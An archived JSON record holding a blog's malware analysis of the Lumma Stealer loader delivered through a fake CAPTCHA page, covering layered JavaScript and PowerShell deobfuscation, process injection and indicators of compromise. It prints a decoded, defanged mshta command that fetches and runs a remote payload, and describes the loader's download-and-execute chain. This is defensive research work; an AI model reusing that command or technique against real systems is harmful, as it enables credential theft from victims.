{
	"id": "884d6ad0-9755-4990-a649-b711651f996a",
	"created_at": "2026-04-06T00:08:30.235385Z",
	"updated_at": "2026-04-10T03:20:49.673386Z",
	"deleted_at": null,
	"sha1_hash": "58bbbccde5533fe2a5329a53db8010e4baf4f6ea",
	"title": "Dissecting Lumma Malware: Analyzing the Fake CAPTCHA and Obfuscation Techniques - Part 2",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 5473708,
	"plain_text": "Dissecting Lumma Malware: Analyzing the Fake CAPTCHA and\r\nObfuscation Techniques - Part 2\r\nBy Tonmoy Jitu\r\nPublished: 2024-09-08 · Archived: 2026-04-05 17:21:27 UTC\r\nIn Part 1 of our series on Lumma Stealer, we explored the initial attack vector through a fake CAPTCHA page. We\r\nobserved how the malware deceives users into downloading and executing malicious payloads. In this second\r\nseries, we delve deeper into the technical details of the Lumma Stealer’s loader, focusing on its obfuscation\r\ntechniques and how it ultimately executes its payload. This analysis will cover how we decode obfuscated\r\nJavaScript and PowerShell code, and how we identify and analyze the malicious activities carried out by the\r\nmalware.\r\nRetrieving and Analyzing the Lumma Loader\r\nAfter the initial infection is established through the fake CAPTCHA page, we analyze the Lumma Stealer loader.\r\nThe loader is delivered via the following URL:\r\nhxxps[:]//human-check.b-cdn[.]net/verify-captcha-v7[.]html\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 1 of 20\n\nBy analyzing the payload retrieved through mshta , we start by decoding an encoded Base64 string using\r\nCyberChef:\r\nEncoded Bas64 String:\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 2 of 20\n\nbQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AcABvAGsAbwAuAGIALQBjAGQAbgAuAG4AZQB0AC8AcABvAGsAbwAiAA==\r\nDecoded Base64 string:\r\nmshta \"hxxps[://]poko[.]b-cdn[.]net/poko\"\"\r\nExamining the 'poko' File\r\nThe poko file downloaded from the URL is analyzed using Detect It Easy (DIE) to identify its properties:\r\nFile Type: PE file\r\nPacker: No signs of packing detected\r\nThe file, detected as a PE (Portable Executable) file, shows no signs of packing. Since mshta processes HTA\r\n(HTML Application) files, we suspect that the downloaded binary may contain embedded JavaScript (JS) or\r\nVBScript. We search the binary for \u003cscript\u003e tags using DIE’s Advanced mode:\r\nNavigate to Resources in DIE \u003e Filter for \u003cscript\u003e tags\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 3 of 20\n\nBy filtering for \u003cscript\u003e tags, we locate two sets of these tags. In the Resources tab, use the search functionality\r\nto find these \u003cscript\u003e tags, which signal the presence of JavaScript code embedded within the binary.\r\nDumping JavaScript\r\nThere are three ways we can dump the embedded JS data.\r\nUsing Detect It Easy\r\nTo extract embedded JavaScript, we follow these steps in DIE. Right-clicking on a script tag and selecting\r\n\"Follow in \u003e Hex\" shows us the hex and ASCII representation of the code, confirming that it’s JavaScript.\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 4 of 20\n\nLooking at the right panel, we see some code inside. After analyzing the first script tag, we use the same approach\r\nfor the second script tag found under 'strings'.\r\nFrom the ASCII symbols, we can see that the script code is closing windows. Now that we have both sections, we\r\ncan select all the hex values between the opening and closing script tags, copy them, and save them to a file. This\r\nwill give us the JavaScript code.\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 5 of 20\n\nUsing HexedIT\r\nHexedIT provides an intuitive graphical interface for extracting JavaScript. We open the binary in HexedIT and\r\nsearch for \u003cscript\u003e tags with Ctrl + F .\r\n\u003e\r\nWe then select the data between these tags and save it to a new file.\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 6 of 20\n\nUsing a Custom Python Script\r\nWe can also use a custom Python script to automate the extraction of JavaScript from the binary. The script reads\r\nthe binary, searches for \u003cscript\u003e tags, and extracts the code between them. Here is a glimpse of the extracted\r\ncode.\r\nThe first script tag contains code that assigns random numbers to different variables.\r\nThe second script utilizes the eval function to execute obfuscated code, which includes a window.close()\r\nfunction.\r\nThe following example Python script illustrates how this can be accomplished:\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 7 of 20\n\nimport sys\r\nimport re\r\ndef extract_scripts(binary_file):\r\n try:\r\n with open(binary_file, \"rb\") as f:\r\n binary_data = f.read()\r\n \r\n # Convert binary data to string (Assuming it's encoded in utf-8 or similar encoding)\r\n try:\r\n data = binary_data.decode(\"utf-8\", errors='ignore')\r\n except UnicodeDecodeError:\r\n print(\"[-] Failed to decode binary data.\")\r\n sys.exit(1)\r\n \r\n # Find all the script tag contents using regex\r\n scripts = re.findall(r'\u003cscript.*?\u003e(.*?)\u003c/script\u003e', data, re.DOTALL | re.IGNORECASE)\r\n \r\n if scripts:\r\n for i, script in enumerate(scripts, start=1):\r\n print(f\"[+] Script {i}\\n{script.strip()}\\n\")\r\n else:\r\n print(\"[-] No Script found.\")\r\n \r\n except FileNotFoundError:\r\n print(f\"[-] File {binary_file} not found.\")\r\n except Exception as e:\r\n print(f\"[-] An error occurred: {str(e)}\")\r\nif __name__ == \"__main__\":\r\n if len(sys.argv) != 2:\r\n print(\"Usage: python extract.py \u003cbinary_file\u003e\")\r\n sys.exit(1)\r\n \r\n binary_file = sys.argv[1]\r\n extract_scripts(binary_file)\r\nDebugging the JavaScript\r\nWith the JavaScript code dumped, we now focus on deciphering the obfuscation.\r\nFirst obfuscation\r\nWe can beautify the JavaScript code using an online formatter or CyberChef (Generic Code Beautify). This\r\nreveals the obfuscated sections more clearly, showing random variable assignments and functions.\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 8 of 20\n\nAfter beautifying the code, we observe numerous numbers being assigned to various variables. Further down, we\r\nfind a variable named PHF . This indicates that PHF holds the code passed to the second script via the eval\r\nfunction.\r\nUsing console.log() , we print the PHF variable to view another layer of obfuscation.\r\nSecond Obfuscation\r\nBeautification of the next layer of code reveals that the zsi function processes an array of numbers by\r\nconverting them into characters, which are then concatenated into a string.\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 9 of 20\n\nWe pass the final variables, Hkb and ZhX to console.log() to see the decoded data.\r\nThird obfuscation\r\nAfter obtaining the data, we see that it includes encoded PowerShell code. This PowerShell script processes\r\nseveral values that appear to be hex data and uses wscript to execute them.\r\nThe code also shows that it uses AES encryption, with the decryption key hardcoded into it.\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 10 of 20\n\nDecrypting obfuscated code using CyberChef\r\nWith the main code and the AES decryption key in hand, we can use CyberChef to decrypt it. We input the key as\r\nhex into CyberChef and set the initialization vector (IV) value to \"0000000000000000\" (sixteen zeros). If no IV is\r\nprovided, it defaults to null.\r\nThe IV value is set to sixteen zeros because the AES encryption algorithm requires an IV of a specific length to\r\nensure secure encryption and decryption. For AES, the IV must match the block size of the algorithm, which is\r\n128 bits or 16 bytes (16 zeros in hexadecimal representation).\r\nUsing a fixed IV, such as sixteen zeros, is common in certain situations, especially when the IV is not dynamically\r\ngenerated or when the encryption is designed to be simple or demonstrative. However, in secure practices, it's\r\ncrucial to use a unique and random IV for each encryption operation to prevent predictable patterns and enhance\r\nsecurity. In this context, the fixed IV is used because it was hardcoded into the decryption process, which may\r\nsimplify the analysis but does not represent best practices for secure encryption.\r\nFrom the CyberChef output, we obtain another PowerShell script. After beautifying the code, we can decipher its\r\nfunctionality. It begins with a function that handles binary data. The EkF function extracts the zip file and saves\r\nit to the temp directory. The QyY function obfuscates the URL by hiding characters behind numbers, and it\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 11 of 20\n\ncontains the URL for downloading the zip file. The nzv function deobfuscates these numbers into a string.\r\nFinally, the YWy function manages error handling with if/else statements, checking if the file exists and\r\ndownloading the zip file if it does not.\r\nDe-obfuscating PowerShell code\r\nSince the code is in PowerShell, we can use the write-output function to read the values stored in the variables.\r\nWe copy the nzv function, which handles the decryption of characters, and save the results to separate variables.\r\nRunning the code reveals a URL, and we also see that it uses the native Windows Net.WebClient to download\r\nthe file.\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 12 of 20\n\nDownloaded zip file\r\nWe proceed by downloading and unzipping the file. Upon examining its contents, we find that it attempts to\r\nimpersonate \"Aeon Timeline.\"\r\nhxxps[://]poko[.]b-cdn[.]net/wifi[.]zip\r\nBy performing static analysis with PEStudio, we gather more information about the file. The version details\r\nindicate that the installer is masquerading as a PC Cleaner application.\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 13 of 20\n\nUsing DIE, we also confirm that the application has been compiled with Go Language.\r\nDynamic analysis\r\nAfter obtaining the binary, we proceed with dynamic analysis and find that the installer triggers BitLockerToGo\r\nupon installation.\r\nOur earlier WireShark logs (Part 1) show that BitLockerToGo communicates with the C2 server once it starts.\r\nConfirming this behavior, we deduce that the malicious PE file (Aeon Timeline) performs process injection,\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 14 of 20\n\ninjecting malicious processes into BitLockerToGo.\r\nDumping injected process\r\nTo dump the malicious process, we use \"Hollows Hunter.\"\r\nHollows Hunter is a powerful tool used for detecting and analyzing process injection techniques in Windows\r\nenvironments. It specializes in identifying processes that have been injected with malicious code or exhibit\r\nsuspicious behavior. By scanning running processes, Hollows Hunter can pinpoint injected code and dump it for\r\nfurther analysis. This tool is particularly valuable for uncovering sophisticated malware that hides its presence by\r\ninjecting into legitimate processes. It provides security analysts with critical insights into malicious activities,\r\nhelping them to understand and mitigate threats more effectively.\r\nWe first use Process Explorer to identify the Process ID (PID) of BitLockerToGo and pass it as a parameter to\r\nHollows Hunter. The tool then detects the suspicious process and dumps the file.\r\nLumma C2\r\nAfter dumping the file, we upload it to VirusTotal, where it is confirmed as Lumma Stealer.\r\nAnalyzing the file dumped by Hollows Hunter in DIE reveals that it is a Microsoft Linker file, with no signs of\r\nany packer being used.\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 15 of 20\n\nAs is customary with binary analysis, we search for hardcoded domains within the file. Noting that Lumma\r\nStealer has recently been associated with '.shop.' domains, we use this as a filter and find a match.\r\nfutureddospzmvq[.]shop\r\nWe can also use Ghidra's search function to pinpoint the exact function that calls the C2 domain.\r\nSummary\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 16 of 20\n\nIn this analysis, we thoroughly examined the Lumma Stealer malware's loader and payload, uncovering its\r\nintricate obfuscation techniques and malicious activities. By dissecting the initial infection vector through a fake\r\nCAPTCHA page and following the trail to the embedded PowerShell scripts, we detailed the steps involved in\r\ndecoding the obfuscated code and understanding its functionality. Our dynamic analysis revealed that the\r\nmalware, masquerading as a legitimate application, performs process injection to carry out its malicious\r\noperations.\r\nThrough tools like CyberChef, DIE, and Ghidra, we were able to decrypt, analyze, and identify the core\r\ncomponents of the Lumma Stealer. Our findings confirm its operation and provide insights into its behavior and\r\npersistence mechanisms. This comprehensive investigation highlights the sophistication of modern malware and\r\nunderscores the importance of detailed analysis to uncover and understand these threats.\r\nIOC\r\nFile Hash\r\nSHA256: fe236cf05365f3fafd7fdf2481cee9b9a5ff087e1ddc5b71fea1bb23b0c306db -\u003e Injected Process\r\nSHA256: fbef3b6316cd8cf77978c8eac780fe471654c0b5dbbc812e4e266475bde39dcc -\u003e 0Aeon Timeline.exe\r\n===================================================\r\nURL:\r\nhxxps[:]//human-check.b-cdn[.]net/verify-captcha-v7[.]html\r\nhxxps[://]poko[.]b-cdn[.]net/wifi[.]zip\r\n===================================================\r\nC2:\r\nbassizcellskz[.]shop\r\ncelebratioopz[.]shop\r\ncomplaintsipzzx[.]shop\r\ndeallerospfosu[.]shop\r\nfutureddospzmvq[.]shop -\u003e Found inside the binary\r\nlanguagedscie[.]shop\r\nmennyudosirso[.]shop\r\nquialitsuzoxm[.]shop\r\nwriterospzm[.]shop\r\nReference:\r\nHow to pick an appropriate IV (Initialization Vector) for AES/CTR/NoPadding?\r\nI would like to encrypt the cookies that are written by a webapp and I would like to keep the size of\r\nthe cookies to minimum, hence the reason I picked AES/CTR/NoPadding. What would you\r\nrecommend…\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 17 of 20\n\nStack OverflowDrew\r\nGitHub - hasherezade/hollows_hunter: Scans all running processes. Recognizes and dumps a variety\r\nof potentially malicious implants (replaced/implanted PEs, shellcodes, hooks, in-memory patches).\r\nScans all running processes. Recognizes and dumps a variety of potentially malicious implants\r\n(replaced/implanted PEs, shellcodes, hooks, in-memory patches). - hasherezade/hollows_hunter\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 18 of 20\n\nGitHubhasherezade\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 19 of 20\n\nSource: https://denwp.com/dissecting-lumma-malware/\r\nhttps://denwp.com/dissecting-lumma-malware/\r\nPage 20 of 20\n\n   https://denwp.com/dissecting-lumma-malware/   \nBy filtering for \u003cscript\u003e tags, we locate two sets of these tags. In the Resources tab, use the search functionality\nto find these \u003cscript\u003e tags, which signal the presence of JavaScript code embedded within the binary.\nDumping JavaScript     \nThere are three ways we can dump the embedded JS data.   \nUsing Detect It Easy     \nTo extract embedded JavaScript, we follow these steps in DIE. Right-clicking on a script tag and selecting\n\"Follow in \u003e Hex\" shows us the hex and ASCII representation of the code, confirming that it’s JavaScript.\n   Page 4 of 20  \n\n  https://denwp.com/dissecting-lumma-malware/    \ncontains the URL for downloading the zip file. The nzv function deobfuscates these numbers into a string.\nFinally, the YWy function manages error handling with if/else statements, checking if the file exists and\ndownloading the zip file if it does not.    \nDe-obfuscating PowerShell code    \nSince the code is in PowerShell, we can use the write-output function to read the values stored in the variables.\nWe copy the nzv function, which handles the decryption of characters, and save the results to separate variables.\nRunning the code reveals a URL, and we also see that it uses the native Windows Net.WebClient to download\nthe file.      \n   Page 12 of 20",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://denwp.com/dissecting-lumma-malware/"
	],
	"report_names": [
		"dissecting-lumma-malware"
	],
	"threat_actors": [],
	"ts_created_at": 1775434110,
	"ts_updated_at": 1775791249,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/58bbbccde5533fe2a5329a53db8010e4baf4f6ea.pdf",
		"text": "https://archive.orkl.eu/58bbbccde5533fe2a5329a53db8010e4baf4f6ea.txt",
		"img": "https://archive.orkl.eu/58bbbccde5533fe2a5329a53db8010e4baf4f6ea.jpg"
	}
}